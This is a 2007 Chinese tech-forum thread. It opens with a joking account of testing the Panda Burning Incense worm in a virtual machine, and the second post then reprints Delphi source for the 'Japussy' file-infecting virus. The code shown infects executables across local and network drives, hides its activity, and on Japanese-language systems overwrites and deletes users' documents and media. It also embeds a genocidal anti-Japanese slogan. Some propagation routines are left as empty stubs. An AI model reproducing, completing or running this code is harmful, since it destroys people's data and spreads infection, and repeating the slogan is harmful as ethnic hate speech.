dvbbs
收藏本页
联系我们
论坛帮助
dvbbs

秋雁南回文学社区技术论坛网络技术 → [不是征文也是征文]俺和熊猫不得不说的故事


  共有732人关注过本帖树形打印

主题:[不是征文也是征文]俺和熊猫不得不说的故事

帅哥哟,离线,有人找我吗?
孤鹜
  1楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:管理员 贴子:1202 积分:1537 威望:0 精华:8 注册:2002-1-1 4:29:00
[不是征文也是征文]俺和熊猫不得不说的故事  发贴心情 Post By:2007-2-8 1:29:39

一直很羡慕婴儿,居然能养熊猫,所以一直有点遗憾,国宝熊猫没有来俺这里让俺当宠物养养,即使在他最肆虐的时候。不但俺没有养到,俺们网络中近十台电脑也没有那个幸运,毕竟把熊猫当作宠物是一件梦寐以求的事情,估计要养好也不容易,毕竟是国宝,应该多少有些娇气吧。但看那熊猫憨态可掬多么可爱呀,为了弥补这遗憾,专门找到了熊猫的样本请回来,可恨的是刚请回来还没有养就被俺的毒霸咔嚓了。只好关掉毒霸,这才将熊猫请了回来,解压后看见虔诚的熊猫心中不得不感叹实属不易。 不过传说中的熊猫好像还是比较可怕的,于是打开虚拟机,将熊猫养到虚拟机中,然后就看到了传说中的熊猫。当俺还未来得及对这壮观的场面惊叹时,那边的毒霸开始报警,报告又咔嚓了多少多少熊猫。仔细检查,原来俺没有把主机的共享关闭掉,所以它越过边界直接溜达到俺共享了的地域去了。可惜呀,没几秒钟溜达过去的熊猫都死翘翘了。看来俺这的环境过于恶劣,没有空调没有新鲜的箭竹,气候又过于干燥,估计不适合养熊猫,只好让它在虚拟机里生存了。 俺请来的除熊猫之外,还有一只金猪,也不知道该叫它金猪报喜还是金猪报春或者金猪贺岁?反正2006年猪是挺流行的,估计2007年将会更流行,毕竟是猪年到了。虽然俺们老家有过年杀年猪的习惯,但想来毒霸认为杀年猪时间未到,就给了三分面子,没有马上正法这只猪。可能有猪的生存对环境要求不高的原因吧?但俺还是有些奇怪,在毒霸非常给面子的情况下这只猪也没有养好,它自己默默的盘踞在一角,居然不繁殖?可叹就此好景也不长远,在一次毒霸例行升级后,俺的金猪就和俺永别了。 痛定思痛,俺反思了一下俺为什么没有养成熊猫的原因。俺打补丁打的太勤快了些,熊猫主要的传播手段之一利用的是从前的“维金”涉及的漏洞(所以有杀软将熊猫称为维金的变种),俺早就把洞洞补上了,熊猫自然钻不进来了。俺又习惯给系统管理员账户加密码,无意间就堵死了熊猫在局域网间散步的通道。实时升级的杀软干脆扼杀了熊猫繁殖的温床。种种因素导致国宝熊猫不适应俺这的环境,它——只好绕道而行。 它是绕道了,却给我带来一个烦恼,没有一手的资料,永远无法判断它的弱点,所有的方法和行为都是建立在推测的基础上。所以,即使婴儿不想养熊猫,俺也不能帮婴儿构造出如俺一样的不适合熊猫生长的环境。耻辱呀耻辱,一个熊猫都绕道而行的俺,真的是一种莫大的耻辱,顺便汗一下吧。

[此贴子已经被作者于2007-2-8 9:15:12编辑过]

0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
孤鹜
  2楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:管理员 贴子:1202 积分:1537 威望:0 精华:8 注册:2002-1-1 4:29:00
  发贴心情 Post By:2007-2-8 1:55:48

附:网上流传的熊猫烧香之一的源代码(关键部分已略去):

编写语言:Delphi

program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量

{ HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记

//垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin sCurPos := Src.Position; dCurPos := Dst.Position; Src.Seek(sStartPos, 0); Dst.Seek(dStartPos, 0); Dst.CopyFrom(Src, Count); Src.Seek(sCurPos, 0); Dst.Seek(dCurPos, 0); end; { 将宿主文件从已感染的PE文件中分离出来,以备使用 } procedure ExtractFile(FileName: string); var sStream, dStream: TFileStream; begin try sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分 dStream.CopyFrom(sStream, sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end; except end; end; { 填充STARTUPINFO结构 } procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); begin Si.cb := SizeOf(Si); Si.lpReserved := nil; Si.lpDesktop := nil; Si.lpTitle := nil; Si.dwFlags := STARTF_USESHOWWINDOW; Si.wShowWindow := State; Si.cbReserved2 := 0; Si.lpReserved2 := nil; end; { 发带毒邮件 } procedure SendMail; begin //哪位仁兄愿意完成之? end; { 感染PE文件 } procedure InfectOneFile(FileName: string); var HdrStream, SrcStream: TFileStream; IcoStream, DstStream: TMemoryStream; iID: LongInt; aIcon: TIcon; Infected, IsPE: Boolean; i: Integer; Buf: array[0..1] of Char; begin try //出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染 Exit; Infected := False; IsPE := False; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do //检查PE文件头 begin SrcStream.Seek(i, soFromBeginning); SrcStream.Read(Buf, 2); if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 begin IsPE := True; //是PE文件 Break; end; end; SrcStream.Seek(-4, soFromEnd); //检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end; end;

{ 将目标文件写入垃圾码后删除 } procedure SmashFile(FileName: string); var FileHandle: Integer; i, Size, Mass, Max, Len: Integer; begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除之 except end; end; { 获得可写的驱动器列表 } function GetDrives: string; var DiskType: Word; D: Char; Str: string; i: Integer; begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end; end; { 遍历目录,感染和摧毁文件 } procedure LoopFiles(Path, Mask: string); var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 0 //不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then Result := 1 //不是根目录 else Result := 2; //是根目录 end; begin if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then begin repeat PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn)); if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); //感染可执行文件 end else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin //感染HTML和ASP文件,将Base64编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之? end else if Ext = '.WAB' then //Outlook地址簿文件 begin //获取Outlook邮件地址 end else if Ext = '.ADC' then //Foxmail地址自动完成文件 begin //获取Foxmail邮件地址 end else if Ext = 'IND' then //Foxmail地址簿文件 begin //获取Foxmail邮件地址 end else begin if IsJap then //是倭文操作系统 begin if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); SubDir := TStringList.Create; if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then begin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end; FindClose(SearchRec); Count := SubDir.Count - 1; for i := 0 to Count do LoopFiles(Path + SubDir.Strings[i] + '', Mask); FreeAndNil(SubDir); end; { 遍历磁盘上所有的文件 } procedure InfectFiles;

var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了,开始工作 begin TmpFile := ParamStr(0); //创建临时文件 Delete(TmpFile, Length(TmpFile) - 4, 4); TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si, SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, 0, nil, '.', Si, Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end.

可以看到作者的反日倾向,如果是日文操作系统危害就不是那么简单了。图片点击可在新窗口打开查看

[此贴子已经被作者于2007-2-8 1:59:42编辑过]

0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
枯雨
  3楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 老夫无罪
等级:贵宾 贴子:869 积分:1910 威望:2 精华:2 注册:2002-9-15 13:11:00
  发贴心情 Post By:2007-2-8 8:50:11

汗颜一把!


0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
含昕
  4楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 缪斯乐园影音评论
等级:管理员 贴子:8565 积分:24032 威望:0 精华:54 注册:2004-5-24 18:06:00
  发贴心情 Post By:2007-2-8 10:18:08

吃饱了的家伙,一边拍肚子,一边说,我怎么就不饿呢。

建议版主对此贴进行奖励。

不要多,刚好够回家的路费就行。



    传说中苹果花的姑姑  

0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
霜降
  5楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 夏令营
等级:超级版主 贴子:3518 积分:17293 威望:2 精华:3 注册:2006-10-23 21:24:00
  发贴心情 Post By:2007-2-8 10:59:08

谢谢楼主以身作则,身先士卒的参与征文。

0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
鹰儿
  6楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 血色浪漫
等级:荣誉版主 贴子:1630 积分:5183 威望:2 精华:3 注册:2005-9-9 18:53:00
  发贴心情 Post By:2007-2-9 15:43:00

明显是在炫耀!

图片点击可在新窗口打开查看图片点击可在新窗口打开查看


天空没有留下痕迹,但鹰已飞过……
0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
孤雁双飞
  7楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 没见过这么帅的
等级:杏影尚书 贴子:1772 积分:12135 威望:3 精华:4 注册:2006-4-6 19:18:00
  发贴心情 Post By:2007-2-10 10:26:35

咀咒大鸟

在新的一年里祝愿大鸟早日左手捧金猪,右手抱熊猫


0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
素手摘心
  8楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 威望一百
等级:版主 贴子:784 积分:1057 威望:0 精华:0 注册:2006-6-28 18:02:00
  发贴心情 Post By:2007-2-10 14:45:24

国宝不会错过你这么好的因缘的,只是时候不到罢了.


纤纤擢素手,札札扰人心。
0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
任我行
  9楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级:年少书生 贴子:103 积分:180 威望:0 精华:0 注册:2007-1-17 21:40:00
  发贴心情 Post By:2007-2-12 7:16:16

偶来砸上一砖!所谓“物以类聚”,都是因为大鸟这种人太多了,才产生了这么多黑客!所以,大鸟最该挨秋雁网民的揍!

PS:奉劝各位高手,自己圈子里论剑便罢LIAO~,别伤及无辜好不好?不过话说回来了,现在的懒人也确实多,喜欢占小便宜整天挂在网上白白占用线路的也不少,通过病毒提高一下网民素质倒也不算太坏。呵呵~这就飘走了。。。

图片点击可在新窗口打开查看

0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
淘气琪琪
  10楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 不老的童话
等级:版主 贴子:8281 积分:14305 威望:5 精华:5 注册:2002-4-2 12:29:00
  发贴心情 Post By:2007-2-12 14:25:17

因为源代码的公开,各种版本,泛滥成灾。


大大世界,小小蜜蜂!

http://youz.bianji.com

http://www.backbird.com/list.asp?boardid=4

0 支持(0中立(0反对(0回到顶部
帅哥哟,离线,有人找我吗?
薄荷魟荼
  11楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 青春疼痛
等级:贵宾 贴子:3507 积分:17157 威望:2 精华:5 注册:2005-7-30 11:43:00
  发贴心情 Post By:2007-2-13 13:47:17

可怕啊~~~~~~~~~~~~


0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
秋怡
  12楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 新时代村姑
等级:御用闲人 贴子:2304 积分:5262 威望:2 精华:4 注册:2006-7-15 20:27:00
  发贴心情 Post By:2007-2-13 16:56:50

图片点击可在新窗口打开查看图片点击可在新窗口打开查看图片点击可在新窗口打开查看


0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
秋怡
  13楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 新时代村姑
等级:御用闲人 贴子:2304 积分:5262 威望:2 精华:4 注册:2006-7-15 20:27:00
  发贴心情 Post By:2007-2-13 16:57:30

令人折服的征文!

0 支持(0中立(0反对(0回到顶部
美女呀,离线,留言给我吧!
卖女孩的小伙柴
  14楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 暖暖。被窝。
等级:钩文诗童 贴子:87 积分:153 威望:0 精华:0 注册:2006-8-4 9:22:00
  发贴心情 Post By:2007-2-15 9:44:43

哈哈哈,俺去也

0 支持(0中立(0反对(0回到顶部